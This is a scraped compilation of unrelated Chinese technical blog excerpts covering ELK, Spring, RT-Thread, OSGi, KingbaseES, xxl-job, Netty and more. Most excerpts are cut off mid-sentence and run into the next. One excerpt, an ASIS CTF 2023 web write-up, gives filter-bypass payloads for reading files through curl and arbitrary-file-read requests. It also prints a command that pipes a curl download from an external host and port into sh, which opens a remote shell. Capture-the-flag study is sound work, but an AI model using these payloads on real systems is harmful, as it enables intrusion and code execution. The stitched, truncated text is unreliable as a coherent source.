1 继续安装ELK 上文已经安装了ELK三大件中的两个软件elasticsearch和kibana。 在此基础上,在同一个机器上再安装logstash, 完成三大件的安装。 (非root用户)登录linux,下载最新的logstash安装包 下载地址https://www.elastic.co/cn/downloads/elasticsearch 。然后解压即可 cd /home/zyplanke/elk curl -L -O https://artifacts.elastic.co/downloads/logstash/logstash-6.8.3.tar.gz tar -xvf logstash-6.8.3.tar.gz 2 安装filebeat filebeat通常与日志源服务器放同一台机器上。因此我们在另一台跑业务(有业务日志)的Linux机器上安装filebeat。 如果是收集业务系统的日志,确保filebeat对日志文件具有读权限。 登录业务系统(通常可使用业务系统的用户)载最新的filebeat安装包 下载地址https://www.elastic.co/cn/downloads/elasticsearch cd /home/zyplanke/elk curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.8.3-linux-x86_64.tar.gz tar -xvf filebeat-6.8.3-linux-x86_64.tar.gz 3 配置日志文件采集 filebeat从日志源采集日志数据,通过网络发给logstash,logstash将数据进行处理后发给elasticsearch。 前面已经将elasticsearch和kibana,下面分别配置filebeat和logstash。 3.1 配置filebeat 编辑filebeat.yml, 内容如下 filebeat.inputs: - type: log enabled: true paths: - /var/log/*.log fields: logcategory: oslog #output.elasticsearch: 由于我们filebeat不直接发给elasticsearch,所有注释本配置。 # hosts: ["localhost:9200"] output.logstash: hosts: ["192.168.43.201:5044"] 上面的filebeat配置: input表示,filebeat从指定的目录和文件作为采集的日志源(路径和文件名支持星号模糊匹配。 注意必须有被采集文件的读权限)。必须enabled为true,否则不生效。 可以配置多个input。而fields是自己定义的字段(并赋值),方便后续处理。output表示,filebeat将采集的日志(加上fileds、tag及其他属性)后,将起传输到logstash 3.2 配置logstash 在config目录中,以复制logstash-sample.conf样例文件,得到文件logstash_file.conf。 编辑config/logstash_file.conf,内容如下 input { beats { port => 5044 } } output { elasticsearch { hosts => ["

Spring核心 - 执行顺序

BeanDefinitionRegistryPostProcessor BeanFactoryPostProcessor BeanPostProcessor postProcessBeforeInitialization postProcessAfterInitialization PostConstruct Constructor Autowired init-method afterPropertiesSet 第一步 bean注册 BeanDefinitionRegistryPostProcessor 第二步 bean定义扩展 BeanFactoryPostProcessor 第三步 Constructor 实例化 第四步 Autowired @Autowired是用于注入对象使用的,那么肯定本对象已经有了才能注入依赖的对象,所以构造器Constructor优先于@Autowired执行 第五步 bean功能扩展BeanPostProcessor postProcessBeforeInitialization bean初始化之前执行 第六步 PostConstruct @PostConstruct的描述,必须在所有的依赖都注入,所以@Autowired是优先于@PostConstruct执行的 第七步 afterPropertiesSet 初始化方法 初始化bean的时候执行,可以针对某个具体的bean进行配置。afterPropertiesSet 必须实现 InitializingBean接口。实现 InitializingBean接口必须实现afterPropertiesSet方法 第八步 init-method 初始化方法(xml) 第九步 bean功能扩展BeanPostProcessor postProcessAfterInitialization bean初始化之后执行

RT-Thread线程间通信

目录 一、简介 二、邮箱 1、邮箱概念 2、邮箱控制块 3、邮箱相关的函数 三、消息队列 1、消息队列概念 2、消息队列控制块 3、消息队列相关函数 四、信号 1、信号概念 2、信号相关函数 一、简介 线程间通信用与两个及两个以上的线程间通过全局变量进行功能间的通信,RTT提供了三种方式: 邮箱消息队列信号 下面将对这三种方式进行介绍。 二、邮箱 1、邮箱概念 邮箱用于线程间的通信,优点是开销比较低效率比较高;邮箱中的每一封邮件是4个字节,由于指针也是4个字节,所以经常使用指针来传递大量的信息,一个或多个线程可以从邮箱中获得这些邮件进行处理。 以非阻塞方式发送邮件可以安全地应用于中断服务程序中,是中断、服务线程、定时器等向线程发送消息地有效手段。当邮件收取阻塞时,只能由线程进行收取。 当发送邮件时若邮箱已满,则根据设定的等待时间挂起或返回;如果接收邮件是邮箱为空,则根据超时等待时间挂起或等到接收到新的邮件而唤醒。 2、邮箱控制块 struct rt_mailbox { struct rt_ipc_object parent;//继承object父类 rt_uint32_t *msg_pool;//邮箱的内存池,用来存放邮件 rt_uint16_t size;//内存池的大小 rt_uint16_t entry;//邮箱中邮件最大的数目 rt_uint16_t in_offset;//进邮箱的指针 rt_uint16_t out_offset;//出邮箱的指针 rt_list_t suspend_sender_thread;//发送线程的挂起等待队列 }; typedef struct rt_mailbox *rt_mailbox_t;//邮箱句柄 3、邮箱相关的函数 rt_err_t rt_mb_init(rt_mailbox_t mb,//邮箱结构体 const char *name,//邮箱名称 void *msgpool,//内存池 rt_size_t size,//邮箱大小 rt_uint8_t flag);//静态初始化邮箱,flag可选RT_IPC_FLAG_FIFO(按进入邮箱的顺序排序)和RT_IPC_FLAG_PRIO(按优先级排队) rt_err_t rt_mb_detach(rt_mailbox_t mb);//静态创建的邮箱脱离 rt_mailbox_t rt_mb_create(const char *name, rt_size_t size, rt_uint8_t flag);//动态创建邮箱 rt_err_t rt_mb_delete(rt_mailbox_t mb);//动态创建的邮箱删除 rt_err_t rt_mb_send(rt_mailbox_t mb, rt_uint32_t value);//发送邮件 rt_err_t rt_mb_send_wait(rt_mailbox_t mb, rt_uint32_t value, rt_int32_t timeout);//等待方式发送邮件 rt_err_t rt_mb_recv(rt_mailbox_t mb, rt_uint32_t *value, rt_int32_t timeout);//接收邮件 rt_err_t rt_mb_control(rt_mailbox_t mb, int cmd, void *arg);//邮箱控制函数,可修改优先级等参数 三、消息队列 1、消息队列概念 消息队列能够接收不固定长度的消息,中断服务可以发送消息但是不能接收消息。但消息队列为空时可以挂起读取消息,采用先进先出的原则。

DAMO-YOLO训练KITTI数据集

1.KITTI数据集准备 DAMO-YOLO支持COCO格式的数据集,在训练KITTI之前,需要将KITTI的标注转换为KITTI格式。KITTI是采取逐个文件标注的方式确定的,即一张图片对应一个label文件。下面是KITTI 3D目标检测训练集的第一个标注文件:000000.txt Pedestrian 0.00 0 -0.20 712.40 143.00 810.73 307.92 1.89 0.48 1.20 1.84 1.47 8.41 0.01 就不一一解释了,引用一下KITTI 3D目标检测数据集解析(完整版)_kitti数据集结构-CSDN博客的表格,可以看一下该文章的详细解释 COCO格式就不再详细解释了,可以看一下这篇文章COCO数据集(目标检测任务json文件内容总结,总结一下COCO格式需要一个大的json文件,里面包含了每个图片的路径及注释,bbox由中心坐标和宽高的形式给出。 因此,KITTI格式转COCO,就是需要读取逐个的txt文件,进行坐标换算后写入json,代码如下,基于TXT 转成COCO jason格式的标注_D_galaxy的博客-CSDN博客修改: import cv2 from math import * import numpy as np import os, random, shutil import glob as gb from time import sleep import copy import json def copyFile2Folder(srcfile, dstfolder): ''' 复制文件到指定文件夹,名字和以前相同 Args: srcfile: '/home/wsd/***/yolov5/data/PCB_DATASET/labels/Spur/04_spur_06.txt' 文件的绝对路径 dstfile: '/home/wsd/***/yolov5/data/PCB_DATASET/train/labels' 文件夹 Returns: ''' if not os.path.isfile(srcfile): print("%s not exist!

top命令找到占用CPU最高的java线程

1、使用jps查找正在运行的java进程 2、通过使用top命令查找该线程下CPU使用最高的线程 top -Hp pid: 即 top -Hp 2860 3、 TIME列就是各个Java线程耗费的CPU时间,显然CPU时间最长的是ID为2968的线程,用 [plain] view plain copy printf "%x\n" 2968 得到2968的十六进制值为b98,下面会用到。 4、 终于轮到jstack上场了,它用来输出进程2860的堆栈信息,然后根据线程ID的十六进制值grep,如下: [plain] view plain copy [root@storm-master home]# jstack 2860 | grep b98 "SessionTracker" prio=10 tid=0x00007f55a44e4800 nid=0xb53 in Object.wait() [0x00007f558e06c000 可以看到CPU消耗在SessionTracker这个类的Object.wait(),于是就能很容易的定位到相关的代码了。

osgi详解

l 什么是模块化 与面向对象一样,模块化的目的也是松耦合,高内聚。我们可以理解为模块化是将对象间的互访做了边界划分,即对一组业务相关的对象进行封装,并且提供可能的更高层次的代码访问隔离机制。 l 物理模块化 VS 逻辑模块化 物理模块化是指应用中的类文件被物理的分割放在不同的模块中,但是每个模块间的互访不受控制,各个模块可以访问模块间的内部对象,只要对象是可访问的。只是是对代码本身进行模块化管理。 例如JAVA中,应用被分为模块A和B,模块B中有一个public对象B.b,该对象可以完全被模块A访问,因为它是public的。 逻辑模块化是指在物理模块化的基础上,对模块进行控制访问;即模块间实现了访问隔离,而这才是我们所说的真正的模块化的概念。 再看回上面的例子,如果B.b没有定义是其它模块可访问的,那么默认A.a是访问不到B.b这个对象的,不管这个对象的访问级别是什么。 l OSGI的作用 在java中,OSGI是一个实现java模块化互访的平台,我们可以理解为是一个更高级的JVM。它提供了逻辑上的模块化控制。 l OSGI对模块的定义 在OSGI中,模块称之为bundle,一个bundle在物理上而言就是一个jar包。Jar包中有一个描述jar包的信息文件,位于jar内部的META-INF目录下的MANIFEST.MF文件。OSGI通过MANIFEST这个文件获取模块的定义信息,比如模块间的互访信息,模块的版本信息等。 Note:对于MANIFEST.MF文件的操作,由于这个文件有很多使用约束,比如一行不能超过72个字符,所以一般都是通过IDE工具对它进行编辑 l bundle里有什么 一个bundle中一般包含如下的东西: 部署描述文件(MANIFEST.MF,必要的),各类资源文件(如html、xml等,非必须的),还有类文件。这与一个普通的jar包没有任何的区别。但是,除此之外,bundle里还可以放入其它的jar包,用于提供给bundle内部的类引用,即bundle内部的lib库。(跟一个war很类似)。 Note:实际上bundle里可以存放任何的内容,但是在bundle内部不会有嵌套的bundle,即上面提到的存放于bundle中的jar包就只会当成是一个普通的jar包,不管这些jar包中是否含有bundle定义的信息 c9aaad9c-039c-3732-8371-7279916ec4a1.jpg l MANIFEST.MF的定义 MANIFEST.MF位于bundle中的根目录下的META-INF目录下。 一个bundle的必要信息定义如下: e4cfb982-b32e-398b-ac08-4c5e4837fc20.jpg 我们称这些内容为bundle的头信息,具备了这4个头信息就是一个bundle 其中, Bundle-ManifestVersion表示OSGI的参考版本,2代表参考版本使用的是OSGI R4.0+ Bundle-SymbolicName用于作为bundle的ID标识的前缀,一般用模块的顶级包名来命名 Bundle-Version表示bundle当前的版本,并作为bundle的ID标识的后缀 Bundle-Name则是一个可读的bundle的命名定义,没有太大的作用 其它还有很多的头信息的定义,这里就不一一列举了。 头信息的格式: 主要由头属性名称加冒号和各个从句组成,从句间用逗号分隔 Property-Name: clause, clause, clause … 从句的定义: target; param1(:)=value1; param2(:)=value2 … target表示头属性对应的值,后面可以带上很多不同的参数对,每个参数分为参数名和参数值,并且都用分号分隔 参数对的定义: 参数分为两种,属性和指令,如果是指令,需要在=号前加上冒号表示是一个指令 attr1=value1 dir1:=value1 头信息的简写形式: 如果头信息的所有target的参数对定义都是一样的,那么可以将target先定义在前面,所有的参数对定义在最后 Property-Name: target1; target2; attr1=value1; dir1:=value1 …. l Bundle的Identifier 即bundle的ID标识,这个是用来在OSGI中对bundle进行唯一性的定义的。在Bundle被OSGI读取后,OSGI通过对Bundle-SymbolicName和Bundle-Version进行组合,成为一个唯一的ID标识。组合的方式为_。 Bundle-SymbolicName的命名方式 Bundle-SymbolicName没有任何的命名要求,可以是任意的字符组成,但是一般是用模块的顶级包名来作为它的名称 Bundle-Version的命名方式 Bundle-Version有自己的命名要求,格式为[0-9].[0-9].[0-9].{ConstraintName}

springboot的各种配置

1.AOP配置 <!-- AOP的依赖 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-aop</artifactId> </dependency> package com.qf.HomeWork.aop; import lombok.extern.slf4j.Slf4j; import org.aspectj.lang.ProceedingJoinPoint; import org.aspectj.lang.Signature; import org.aspectj.lang.annotation.Around; import org.aspectj.lang.annotation.Aspect; import org.aspectj.lang.annotation.Pointcut; import org.springframework.stereotype.Component; /** * 该切面用于统计方法执行的时长 */ @Aspect @Component @Slf4j public class TimeAspect { //1.定义切点 @Pointcut("execution(* com.qf.HomeWork.controller.UserController.*(..))") public void timepointcut(){}; //2.定义通知 @Around("timepointcut()") public Object calculateTime(ProceedingJoinPoint pjp) throws Throwable { long start =System.currentTimeMillis(); Object proceed = pjp.proceed(); //获取当前调用的目标方法 Signature signature = pjp.getSignature(); long end =System.currentTimeMillis(); log.info("{}请求消耗的时长为:{}ms",signature,(end-start)); return proceed; } } 2.

java.lang.IllegalArgumentException: bound must be positive

IllegalArgumentException是Java中的一个异常类,用于在方法中传递非法的参数值时抛出。具体的错误信息bound must be positive表示传入的参数边界必须是一个正数。 在Java中,一些方法或构造函数要求参数值是正数。如果传入了负数或零,就会抛出这个异常。要解决此问题,您需要检查引发此异常的代码,并确保给bound参数传入一个正数值。 例如,如果您有一个方法需要一个正数bound参数来定义数组或集合的大小,您应该在调用该方法之前确保bound的值大于零。

人大金仓KingbaseES精简版配置主备集群部署及备份和还原

关键字: KingbaseES、集群、备份还原 一、概述 数据库系统为了提高系统的可用性、可靠性和扩展性,大多会选择采用集群配置。集群配置实现了数据库的冗余,当个别节点出现故障时,可以自动切换到其他节点,保证了系统的平稳运行。同时,集群还可以实现负载均衡、提高系统扩展性、提高系统性能、简化数据库管理和提高数据安全性等功能,在实际应用中是一个非常重要和必要的选择。 在金仓数据库中,为了保障客户数据的安全性,往往也会选择搭建集群系统。本文将以在x86_64平台上的精简版数据库系统为例,介绍如何配置集群,并实现备份和还原。 二、集群配置 2.1准备KingbaseES系统和License文件。 下载KingbaseES系统并解压后,放置在当前用户目录下,文件如图2-1所示。 图2-1 KingbaseES系统目录 2.2准备文件 1、在当前目录下创建install文件和r6_install文件。 mkdir install mkdir r6_install 2、从bin目录下找到install.conf文件、cluster_install.sh、trust_cluster.sh,复制到r6_install文件下。 mv bin/install.conf bin/cluster_install.sh bin/trust_cluster.sh r6_install/ 3、将bin,include,lib和share目录打包成db.zip文件,同时放到r6_install目录下 sudo zip -r db.zip bin/ include/ share/ lib/ mv db.zip r6_install 4、检查 自此,r6_install目录已经配置完毕,效果应如图2-2所示。 图2-2 r6_install目录文件树 其中db.zip为数据库压缩包,cluster_install.sh为部署集群的脚本,install.conf为部署配置文件,trust_cluster.sh为配置ssh免密脚本。 2.3配置安装配置文件 进入install.conf配置文件,配置集群安装的配置信息。 vim install.conf 图2-3 install.conf配置文件 想要了解各个配置项的详细信息可进入 http://help.kingbase.com.cn/highly/availability/cluster-use/cluster-use-4.html#id19 查看,这里只叙述几个常用的配置选项。 on_bmj: 说明当前部署集群的设备是否为专用zy机all_ip:集群所有机器的IPinstall_dir:下载服务器的路径zip_package:数据库压缩包的路径license_file:license文件的路径 2.4开始配置集群 1、使用trust_cluster.sh脚本配置双方互登免密 图2-4 集群免密 2、一键初始化集群 图2-5 集群初始化 配置成功结果: 图2-6 集群配置成功 三、配置集群sys_rman 3.1配置sys_backup文件 在备机中,进入sys_rman的配置文件 vim share/sys_backup.conf 图 3-1 sys_backup.conf配置文件 想要了解各个配置项的详细信息可进入

xxl-job分布式调度框架

课程目标 1、 掌握xxl-job部署以及开发的方式 2、 掌握xxl-job特性以及架构设计 3、 掌握xxl-job运行原理 内容定位 适合已经掌握了Quartz的同学 quartz这节课是本节课的基础,这个要求大家一定掌握,因为xxl-job早期就是使用quartz改造的,后期也是大量的借鉴了Quartz的原理 1. xxl-job基本介绍 1.1 Quartz的体系结构 Quartz中最重要的三个对象:Job(作业)、Trigger(触发器)、Scheduler(调度器)。 xxl-job的调度原理:调度线程在一个while循环中不断地获取一定数量的即将触发的Trigger,拿到绑定的Job,包装成工作线程执行。 当然,不管在任何调度系统中,底层都是线程模型。如果要自己写一个调度系统,一定要对多线程并发这一块有比较深入的学习,比如线程怎么启动怎么wait,怎么notify ,怎么加锁等等。 1.1. Quartz的不足 在前面的课程我们讲过,Quartz有差不多二十年的历史,调度模型已经非常成熟了,而且很容易集成到Spring中去,用来执行业务任务是一个很好的选择。 但是还是会有一些问题,比如: 1、调度逻辑(Scheduler)和任务类耦合在同一个项目中,随着调度任务数量逐渐增多,同时调度任务逻辑逐渐加重,调度系统的整体性能会受到很大的影响; 2、Quartz集群的节点之间负载结果是随机的,谁抢到了数据库锁就由谁去执行任务,这就有可能出现旱的旱死,涝的涝死的情况,发挥不了机器的性能。 3、Quartz本身没有提供动态调度和管理界面的功能,需要自己根据API进行开发。 4、Quartz的日志记录、数据统计、监控不是特别完善。 所以xxl-job和Elastic-Job都是对Quartz进行了封装,让我们用起来更简单,功能更强大。 1.2. xxl-job发展历史 源码地址:https://github.com/xuxueli/xxl-job 中文文档:https://www.xuxueli.com/xxl-job/ 2015年开源,一个大众点评的程序员的业余之作。众所周知,大众点评因为被美团收购了,现在是美团点评。 xxl是作者名字许雪里的首字母简写,除了xxl-job之外作者还开源了很多其他组件,现在一共有11个开源项目。 到目前为止使用xxl-job的公司有几百家,算上那些没有登记的公司,实际上应该有几千家。 在xxl-job早期的版本中,直接使用了Quartz的调度模型,直到2019年7月7日发布的7.27 版本才移除Quartz依赖。 实际上即使重构代码移除了Quartz的依赖,xxl-job中也到处是Quartz的影子。比如任务、调度器、触发器的三个维度设计,是非常经典的。 最新发布版本是:2.3.1。 但是后面自从2.2.0版本开始,版本更新几乎没有什么变化 1.3. xxl-job特性 跟老牌的Quartz相比,xxl-job拥有更加丰富的功能。 总体上可以分成三类: 性能的提升:可以调度更多的任务。 可靠性的提升:任务超时、失败、故障转移的处理。 运维更加便捷:提供操作界面、有用户权限、详细的日志、提供通知配置、自动生成报表等等。 2. Xxl-job快速入门 1.1. 下载源码 1.1.1. release页面下载 链接: https://gitee.com/xuxueli0323/xxl-job 注意不要直接clone最新的master代码(SNAPSHOT版本),从发布界面下载稳定版本。 1.1.2. 在IDEA中打开 /doc :文档资料,包括“调度数据库”建表脚本/xxl-job-admin :调度中心,项目源码,Spring Boot工程,可以直接启动/xxl-job-core :公共Jar依赖/xxl-job-executor-samples :执行器,Sample示例项目,其中的Spring Boot工程,可以直接启动。可以在该项目上进行开发,也可以将现有项目改造生成执行器项目。 1.2. 初始化数据库 数据库脚本在doc/db目录下: 生成8张表。 表名作用xxl_job_group执行器信息表,维护任务执行器信息xxl_job_info调度扩展信息表:用于保存XXL-JOB调度任务的扩展信息,如任务分组、任务名、机器地址、执行器、执行入参和报警邮件等等xxl_job_lock任务调度锁表xxl_job_log调度日志表:用于保存XXL-JOB任务调度的历史信息,如调度结果、执行结果、调度入参、调度机器和执行器等等xxl_job_log_report调度日志报表:用户存储XXL-JOB任务调度日志的报表,调度中心报表功能页面会用到xxl_job_logglue任务GLUE日志:用于保存GLUE更新历史,用于支持GLUE的版本回溯功能xxl_job_registry执行器注册表,维护在线的执行器和调度中心机器地址信息xxl_job_user系统用户表 表初始化好以后,就可以配置代码工程了。这里我们先说一下总体概念。

HAPTION-Virtuose Desktop 6D 力反馈设备

产品概述:: Virtuose Desktop 6D 力反馈设备 力反馈设备是一种带有6个自由度的力反馈系统,是专门为虚拟物件进行物理互动效果而设计的。只需小型的工作空间就能在标准屏幕上进行研究测试。Virtuose Desktop 6D 由三个平行安装在一个筒状手柄的铰接支段组成,可提供6个自由度,并在所有6个自由度上提供力反馈。 Virtuose Desktop 6D 是桌面式力反馈设备中性能优越的力反馈设备之一,它提供了6个主动自由度,即对平移和旋转进行力反馈,手柄由3个按钮组成,其中2个可编程。 Virtuose Desktop 6D 力反馈设备精度高,同时仍然保持非常小的内存占用。手柄采用标准的M6连接器,可以通过任何其他工具方便地进行更改。基于与我们其他产品相同的API,它得益于多年的软件工程。 工作空间 Virtuose系列产品的串行架构尤其适合Virtuose 6D 桌面触觉设备,尽管它的规模有限,依然提供了广泛的旋转运动空间, 工作空间可以比作一个人类手臂肘部的旋转空间。 Virtuose Desktop 6D 还兼容我们的一系列软件解决方案,让您可以直接使用CAD软件中的设备进行装配仿真,并在3D游戏引擎中生成更逼真的身临其境体验。 ::应用范围:: 适用于人机工程学分析、、工业培训、功能测试、装配/拆卸、工作环境仿真、操作人员培训、医疗培训、远程外科手术等诸多领域。 ::技术特征:: •Virtuose 6D Desktop是一种带有6个自由度的力反馈系统 •Virtuose 6D Desktop由固定于基座上并汇集在球体顶端的三个支臂所组成 •借助VIRTUOSETM API触觉库,触觉设备可以对实时抑制进行自行管理 •能够为与力反馈相关的任何领域提供一站式产品

Python实现:利用turtle库绘制20个不同位置、不同颜色,不同大小的正方形。

import turtle import random # 创建一个Turtle对象 pen = turtle.Turtle() pen.speed(0) # 设置绘制速度,0表示最快 # 循环绘制20个正方形 for _ in range(20): # 随机生成正方形的位置、颜色和大小 x = random.randint(-200, 200) y = random.randint(-200, 200) pen.penup() # 抬起画笔,以免留下痕迹 pen.goto(x, y) # 移动到随机位置 pen.pendown() # 放下画笔 pen.color(random.random(), random.random(), random.random()) # 随机颜色 side_length = random.randint(50, 150) # 随机边长 for _ in range(4): pen.forward(side_length) # 绘制正方形的四条边 pen.left(90) # 左转90度 # 关闭窗口的点击事件 turtle.exitonclick() ```

【VMware篇】5-ESXi导入、导出虚拟机和模板

第1章、前言 本文主要介绍封装系统导出为模板,以Windows Server 2019为例。 第2章、导出系统为模板 1、打开运行窗口输入“sysprep”点击确定。 2、选中“sysprep”鼠标右键“以管理员身份运行”。 3、勾选“通用”,关机选项选择“关机”,点击确定。 4、选中server 2019 鼠标右键选择“导出”。 5、选中全部,点击确定后开始下载文件。(如果下载失败可能是浏览器阻止导致) 6、下载好之后能够看到如图这几个文件。 第3章、导入虚拟机 1、点击“创建/注册虚拟机”,选择“从OVF或OVA文件部署虚拟机”。 2、填写好名称,选中刚刚导出的文件,点击下一页。 3、选择存储,点击下一页。 4、勾选磁盘置备为“精简”,点击下一页。 5、确认好信息,点击完成。 6、显示已经导入成功,并已经开机了 7、系统开始初始化,保持默认,点击下一步。 8、要求输入产品密钥,点击“以后再说”(因为只是实验并非生产环境)。 9、许可条款,点击“接受”。 10、设置好密码,点击“完成”。 11、登录进去后可以看到之前的设置都还存在,说明虚拟机导入成功。 第4章、公司介绍 杭州智汇卓云信息科技有限公司成立于2019年7月,注册资金500万人民币。公司自成立以来,一直服务于运营商和集成商,是一家以技术为核心的企业,公司以“一站式IT专业技术服务”为运营商、企业提供技术实施、技术支持和软件开发等外包服务。公司目前拥有多名VCP、CCA、MCSE、项目经理和云计算工程师。智汇卓云与Dell、浪潮、安恒信息、思杰Citrix、VMware、Nutanix、Veeam、Veritas和Microsoft等知名厂家也建立了良好的合作关系。我们秉承“开拓、创新、诚信、务实”的企业宗旨,以诚信、共赢、开创的经营理念,准确把握产品及技术的市场发展发向,并坚持以“客户满意才是企业的效益根源”为轴心,实现共创、共赢。 联系方式:陈先生,18072726638

asisctf 2023 web hello wp

hello 开题,直接给了源码。 <?php /* Read /next.txt Hint for beginners: read curl's manpage. */ highlight_file(__FILE__); $url = 'file:///hi.txt'; if( array_key_exists('x', $_GET) && !str_contains(strtolower($_GET['x']),'file') && !str_contains(strtolower($_GET['x']),'next') ){ $url = $_GET['x']; } system('curl '.escapeshellarg($url)); 提示我们读取/next.txt文件,但是代码中用str_contains()函数过滤了字符串file和next。 分析一下陌生函数。 array_key_exists('x', $_GET):检查数组里是否有指定的键名或索引,相当于issert($_GET['x'])。 str_contains(strtolower($_GET['x']),'file'):将第一个参数转小写后检测第一个参数($_GET[‘x’])里面是否包含第二个参数(file字符串) escapeshellarg($url):将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。这样一来,我们只能curl 一个URL了,无法拼接等操作执行别的命令。 尝试用curl命令+file://伪协议读取文件/next.txt,期间还要绕过过滤。 payload: ?x=fil{e}:///nex{t}.txt 或者 ?x=fil%ffe:///nex%fft.txt 或者正则匹配绕过 ?x=fil[e-e]:///nex[t-t].txt 解释一下这些paylaod。 第一个包花括号的?x=fil{e}:///nex{t}.txt 这个包花括号绕过法目前只发现对curl的参数有效。比如: curl fil{e}:///nex{t}.txt curl {h}ttps://your-shell.com/120.46.41.173:9023 | sh 第二个payload?x=fil%ffe:///nex%fft.txt是利用了escapeshellarg()函数的漏洞,可参考浅谈CTF中escapeshellarg的利用_escapeshellarg 绕过_slug01sh的博客-CSDN博客 成功读取/next.txt文件,提示我们前往http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/ 提示我们输入/read/?file=/proc/self/cmdline,猜测这里file参数存在任意文件读取。 先读取一下/proc/self/cmdline看看。 L2Jpbi9idW4tMS4wLjIAL2FwcC9pbmRleC5qcwA= 解密后是 /bin/bun-1.0.2\x00/app/index.js\x00 读取/app/index.js。/read/?file=/app/index.js。解码后是: const fs = require('node:fs'); const path = require('path') /* I wonder what is inside /next.

Netty对websocket的支持及ContinuationWebSocketFrame处理

WebSocket是一种规范,是Html5规范的一部分,websocket解决什么问题呢?解决http协议的一些不足。我们知道,http协议是一种无状态的,基于请求响应模式的协议。 网页聊天的程序(基于http协议的),浏览器客户端发送一个数据,服务器接收到这个浏览器数据之后,如何将数据推送给其他的浏览器客户端呢? 这就涉及到服务器的推技术。早年为了实现这种服务器也可以像浏览器客户端推送消息的长连接需求,有很多方案,比如说最常用的采用一种轮询技术,就是客户端每隔一段时间,比如说2s或者3s向服务器发送请求,去请求服务器端是否还有信息没有响应给客户端,有就响应给客户端,当然没有响应就只是一种无用的请求。 这种长轮询技术的缺点有: 1)响应数据不是实时的,在下一次轮询请求的时候才会得到这个响应信息,只能说是准实时,而不是严格意义的实时。 2)大多数轮询请求的空轮询,造成大量的资源带宽的浪费,每次http请求携带了大量无用的头信息,而服务器端其实大多数都不关注这些头信息,而实际大多数情况下这些头信息都远远大于body信息,造成了资源的消耗。 拓展 比较新的技术去做轮询的效果是Comet。这种技术虽然可以双向通信,但依然需要反复发出请求。而且在Comet中,普遍采用的长链接,也会消耗服务器资源。 WebSocket是什么? WebSocket一种在单个 TCP 连接上进行全双工通讯的协议。WebSocket通信协议于2011年被IETF定为标准RFC 6455,并被RFC7936所补充规范。WebSocket API也被W3C定为标准。 WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。在 WebSocket API 中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创建持久性的连接,并进行双向数据传输。 websocket的出现就是解决了客户端与服务端的这种长连接问题,这种长连接是真正意义上的长连接。客户端与服务器一旦连接建立双方就是对等的实体,不再区分严格意义的客户端和服务端。长连接只有在初次建立的时候,客户端才会向服务端发送一些请求,这些请求包括请求头和请求体,一旦建立好连接之后,客户端和服务器只会发送数据本身而不需要再去发送请求头信息,这样大量减少了 网络带宽。websocket协议本身是构建在http协议之上的升级协议,客户端首先向服务器端去建立连接,这个连接本身就是http协议只是在头信息中包含了一些websocket协议的相关信息,一旦http连接建立之后,服务器端读到这些websocket协议的相关信息就将此协议升级成websocket协议。websocket协议也可以应用在非浏览器应用,只需要引入相关的websocket库就可以了。 HTML5定义了WebSocket协议,能更好的节省服务器资源和带宽,并且能够更实时地进行通讯。Websocket使用ws或wss的统一资源标志符,类似于HTTPS,其中wss表示在TLS之上的Websocket。如: ws://example.com/wsapi wss://secure.example.com/ 优点 较少的控制开销:相对与http请求的头部信息,websocket信息明显减少。更强的实时性:由于协议是全双工的,所以服务器可以随时主动给客户端下发数据。相对于HTTP请求需要等待客户端发起请求服务端才能响应,延迟明显更少;即使是和Comet等类似的长轮询比较,其也能在短时间内更多次地传递数据。保持连接状态。于HTTP不同的是,Websocket需要先创建连接,这就使得其成为一种有状态的协议,之后通信时可以省略部分状态信息。而HTTP请求可能需要在每个请求都携带状态信息(如身份认证等)。更好的二进制支持。Websocket定义了二进制帧,相对HTTP,可以更轻松地处理二进制内容。可以支持扩展。Websocket定义了扩展,用户可以扩展协议、实现部分自定义的子协议。如部分浏览器支持压缩等。更好的压缩效果。相对于HTTP压缩,Websocket在适当的扩展支持下,可以沿用之前内容的上下文,在传递类似的数据时,可以显著地提高压缩率。 netty对websocket协议的支持 demo 浏览器页面向服务器发送消息,服务器将当前消息发送时间反馈给浏览器页面。 服务器端 import io.netty.bootstrap.ServerBootstrap; import io.netty.channel.ChannelFuture; import io.netty.channel.EventLoopGroup; import io.netty.channel.nio.NioEventLoopGroup; import io.netty.channel.socket.nio.NioServerSocketChannel; import io.netty.handler.logging.LogLevel; import io.netty.handler.logging.LoggingHandler; import java.net.InetSocketAddress; //websocket长连接示例 public class MyServer { public static void main(String[] args) throws Exception{ EventLoopGroup bossGroup = new NioEventLoopGroup(); EventLoopGroup wokerGroup = new NioEventLoopGroup(); try{ ServerBootstrap serverBootstrap = new ServerBootstrap(); serverBootstrap.

性能压力测试的定义及步骤是什么

在今天的数字化时代,软件系统的性能和稳定性对于企业的成功至关重要。为了确保软件在高负载和压力情况下的正常运行,性能压力测试成为了不可或缺的环节。本文将介绍性能压力测试的定义、步骤。 一、性能压力测试的定义和目标 性能压力测试是通过模拟实际使用情景以及超负荷的条件来评估系统在压力下的表现。它旨在发现软件系统的性能瓶颈,并确定系统的极限容量。性能压力测试的目标是保证系统在正常使用和压力情况下,仍能提供稳定、高效的性能。 二、性能压力测试的步骤 1、定义测试目标:明确测试目标,包括期望的性能指标和响应时间等。 2、设计测试场景:根据实际使用情境和压力情况,设计多个测试场景,包括正常负荷和超负荷条件。 3、准备测试环境:确保测试环境与实际生产环境相似,并满足系统的资源需求。 4、设置性能指标:选择合适的性能指标,例如响应时间、吞吐量和并发用户数等,以评估系统的性能表现。 5、执行测试方案:根据设计的测试场景和性能指标,执行测试方案,并监测系统的性能表现。 6、分析结果和优化:分析测试结果,识别性能瓶颈和资源消耗问题,并进行相应的优化措施。 7、性能报告和建议:编写详细的性能测试报告,包括测试概况、测试结果和优化建议,以帮助开发团队改进系统性能和稳定性。 以上就是掌动智能为大家介绍的“性能压力测试”相关介绍,希望对您有所帮助。如想了解其它问题,请登入我们的官网与专业人士详细沟通。

VUE项目框架在JS文件中使用i18n做国际化

